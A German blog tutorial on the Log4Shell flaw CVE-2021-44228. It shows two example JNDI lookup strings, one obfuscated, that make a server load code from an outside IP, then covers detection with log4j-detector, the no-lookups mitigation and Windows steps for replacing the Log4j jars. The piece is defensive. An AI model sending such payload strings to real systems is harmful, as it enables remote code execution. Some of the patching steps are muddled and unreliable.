Zero-Day-Log4j Lücke Prüfen CVE-2021-44228

Java-Logging Proof-of-Concept

Der Zero-Day-Exploit mit einer kritische Sicherheitslücke im Java-Logging log4j sorgt für Schlagzeilen und Verunsicherung. Bekannt ist, dass die Lücke sehr weitverbreitet und vielfach ausgenutzt wird. Doch es ist noch längst nicht bekannt, was alles konkret betroffen ist und wie man seine Systeme am besten schützen kann. Der Beitrag zeigt das vorgehen und hilft das Problem einzudämmen.

Ursache

Der Exploit ermöglicht Remotecodeausführung und beruht darauf, dass Log4J Daten von LDAP über eine JNDI-Schnittstelle (Java Naming and Directory Interface) lädt.

In den Java-Archive kommt die Bibliothek Log4j häufig zum Einsatz. Die JNDI-Schnittstelle protokolliertein Ereignis wie dieses:

GET /?x=${jndi:ldap}://12.34.56.78

wird das nicht nur geloggt, es wird auch versucht den Text zu interpretieren, wie etwa mit:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://12.34.56.78:12344

versucht den Host „12.34.56.78“ zu kontaktiert, nimmt von diesem malicious Java-Code entgegen und führt diesen aus. Anschließend folgt dann schnell ein gefährliches Backdoor Programm auf das System. Deshalb der Angriff bezeichnenderweise „Log4Shell“ genannt wird, mit Logging direkten Zugriff auf das System erhalten.

Zero-Day-Log4j Proof-of-Concept-Code CVE-2021-44228

Log4shell erkennen mit log4j-detector

log4j-detector erkennt Versionen auf dem Dateisystem, einschließlich tief rekursiv verschachtelter Kopien. Ausführbar auf Linux, Windows und Mac und überall wo Java läuft!

Hat man Zugang zum System, auf diesem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Bibliothek gesucht werden. Diese sind typischerweise in den Java JAR-Archiven. Der log4j-detector durchsucht diese und meldet anfällige Versionen von 2.x (2.0-beta9 bis 2.14.1). Die Version 2.15.0 ist bereits gefixt und aktuell ist 2.17.1 verfügbar, die Version 1.2.x ist nicht betroffen.

Ist wie hier die Unifi Controller Software installiert, sollte dringendst die Log4J-Bibliothek überprüft werden. Nach dem entpacken von log4j-detector-master.zip findet man im Verzeichnis die Datei log4j-detector-2021.12.13.jar.

java -jar log4j-detector-2021.12.13.jar "%UserProfile%\Ubiquiti UniFi"

log4j-detector mit Pfad Übergabe ausführen der gescannt werden soll.

Zero-Day-Log4j Lücke Prüfen

Erscheint nach dem ausführen die Ausgabe _VULNERABLE_, hat man eine anfällige Version und es ist Handlungsbedarf angesagt.

Absichern und vorbeugen

Ist man sich nicht sicher, ob die Infrastruktur abgesichert ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren. Dazu gehören unter anderem Maßnahmen wie:

  • Zugangsbeschränkungen
  • Segmentierte Netzwerke
  • Reduzierte Rechte
  • Beschränkung ausgehender Verbindungen
  • Beschränkung ausführbarer Programme

Wenn noch kein Update des Herstellers vorliegt, kann man anfällige Dienste durch Setzen der Variable log4j2.formatMsgNoLookups auf true sichern. Hierzu startet man die Java Virtual Machine mit dem Argument –Dlog4j2.formatMsgNoLookups=True oder setzt die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Beides funktioniert jedoch erst ab Log4J Version 2.10. im Zweifelsfall also erneut testen.

Ausführen control sysdm.cpl

Bei Windows fügt man die Umgebungsvariable ein, über die Tasten Win+R mit Ausführen von „control sysdm.cpl,,3“

Die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=“true“ unter Systemvariablen hinzufügen.

Die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS="true" unter Systemvariablen hinzufügen.

Ebenso besteht die Möglichkeit, den JVM Dienst mit Option zu starten.

java -Dlog4j2.formatMsgNoLookups=True -jar app.jar

Update Apache2

Wenn es die Installation zulässt, kann man Log4j direkt updateten. Zum Download der neusten Apache Log4j 2 Version hier, nachdem entpacken die Dateien in der JRE Bibliothek ersetzen, die log4j-*.jar Dateien unter _jre_root_/lib/.

log4j-api-2.xx.x.jar
log4j-core-2.xx.x.jar
log4j-slf4j-impl-2.xx.x.jar

Apache2 Update für Windows

Um die Log4j 2.17.1 Version für Java unter Windows 10 und Windows Server 2019 zu installieren (Update), wird eine Eingabeaufforderung (cmd) als Administrator geöffnet, um folgende Befehle auszuführen. Grundsätzlich können die Befehlszeilen auf anderen Windows Version ausgeführt werden, dabei muss beachtet werden, das anstelle von curl und tar ein Browser für den Download, und Winzip oder 7-Zip zum entpacken verwendet wird.

cd %userprofile%\downloads
curl -O https://archive.apache.org/dist/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.zip
tar -xf apache-log4j-2.17.1-bin.zip
cd apache-log4j-2.17.1-bin
copy log4j-api-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-core-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-slf4j-impl-2.17.1.jar "%JAVA_HOME%\lib"
cd "%JAVA_HOME%\lib"
ren log4j-api-?.??.?.jar log4j-api-x.xx.x.old
ren log4j-core-?.??.?.jar log4j-core-x.xx.x.old
ren log4j-slf4j-impl-?.??.?.jar log4j-slf4j-impl-x.xx.x.old

  Die Umgebungsvariable %JAVA_HOME% muss vorhanden sein, bei Java 8 ist es für gewöhnlich C:\Program Files\Java\jre1.8.0_281, entsprechend der installierten Version.

Im Verzeichnis %JAVA_HOME%\lib müssen die bestehenden log4j-Dateien, zB. die Version 2.13.3-Dateien ersetzt werden, hierzu kann man symbolische Links erstellen, die 2.17.1-Dateien müssen auf die original 2.13.3-Dateien zeigen, diese zuvor umbenannt wurden.

cd "%JAVA_HOME%\lib"
mklink log4j-api-2.13.3.jar log4j-api-2.17.1.jar
mklink log4j-core-2.13.3.jar log4j-core-2.17.1.jar
mklink log4j-slf4j-impl-2.13.3.jar log4j-slf4j-impl-2.17.1.jar

  Alle Apache log4j Versionen findet man im ASF-Archiv-Repository.

Windows Eingabeaufforderung Hier öffnen

Die Windows Eingabeaufforderung über ausgewähltem Ordner öffnen.

Nach öffnen der Eingabeaufforderung muss man gewöhnlich den Pfad zum Ordner mit „cd“ gefolgt vom Verzeichnispfad eintippen. Es gibt jedoch die Möglichkeit, die Eingabeaufforderung in einem bestimmten Ordner zu öffnen. Gehe im Windows-Explorer zum gewünschten Verzeichnis, und gibt dann in die Adresszeile „cmd“ ein, gefolgt von drücken der Enter Taste.

Windows Eingabeaufforderung Hier öffnen

Die Eingabeaufforderung (Command Prompt) wird im gewählten Verzeichnispfad geöffnet.

Windows Eingabeaufforderung anstatt PowerShell öffnen

Wird die Eingabeaufforderung öfters genutzt, kann die als Standard aktivierte PowerShell ersetzt werden. In den Einstellungen unter Personalisierung – Taskleiste. Beim Rechtsklick auf die Schaltfläche „Start“ oder beim Drücker der Windows-Taste+X „Eingabeaufforderung“ im Menü durch „Windows PowerShell“ ersetzen. Hier den Schalter auf Aus setzen.

Einstellungen unter Personalisierung – Taskleiste, Beim Rechtsklick auf die Schaltfläche "Start" oder beim Drücker von Windows-Taste+X Eingabeaufforderung

Danach erscheint mit Windows+X anstelle der Vorgabe von PowerShell nun die Eingabeaufforderung.

Die Eingabeaufforderung über ausgewähltem Ordner öffnen bei Windows 11

Unter Windows 11 geht es einfacher. Mit Drücken der Shift+F10 Tasten öffnet sich das Kontext Menü mit der Eingabeaufforderung, die sich im angewählten Verzeichnis öffnet.

Die Eingabeaufforderung über ausgewähltem Ordner öffnen bei Windows 11

Windows Eingabeaufforderung („cmd“) öffnen

Mit dem aufruf von cmd.exe, wird wie bei jedem anderen Windows-Konsolenprogramm, Windows conhost.exe aufgerufen, das die Eingabeaufforderung aufruft, in der man Anweisungen nicht grafisch durch die Maus übermittelt, sondern direkt über die Tastatur eingibt. In dieser Konsole wird der Kommandozeileninterpreter cmd.exe gestartet. Über die Kommandozeile können beispielsweise Dateien kopiert, verschoben oder entfernt werden. Die Syntax der Befehle entspricht im Grundsatz der unter MS-DOS/PC DOS mit dessen Kommandozeileninterpreter COMMAND.COM, der jedoch um zahlreiche Funktionen erweitert wurde. Einige interne Befehle sind verbessert worden, beispielsweise for und if. Außer den internen Befehlen stehen dem Anwender noch zahlreiche weitere Programme, z. B. als EXE-Dateien, und andere ausführbare Dateien, z. B. Stapelverarbeitungsdateien (Shell-Skripte), zur Verfügung.

Wenn cmd.exe über eine Dateiverknüpfung gestartet wird, trägt das Fenster dem Namen der Verknüpfung. Der Name der im Startmenü vorgesehenen Verknüpfung lautet Eingabeaufforderung.

cmd.exe hat eine Reihe von Vorteilen gegenüber COMMAND.COM. So erzeugt das Zeichen | in einem Befehl zwei Prozesse sowie eine Pipe dazwischen (wie auf einer Unix-Shell) und keine Temporärdatei, in die zunächst die gesamte Ausgabe des Befehls links von der Pipe umgeleitet wird.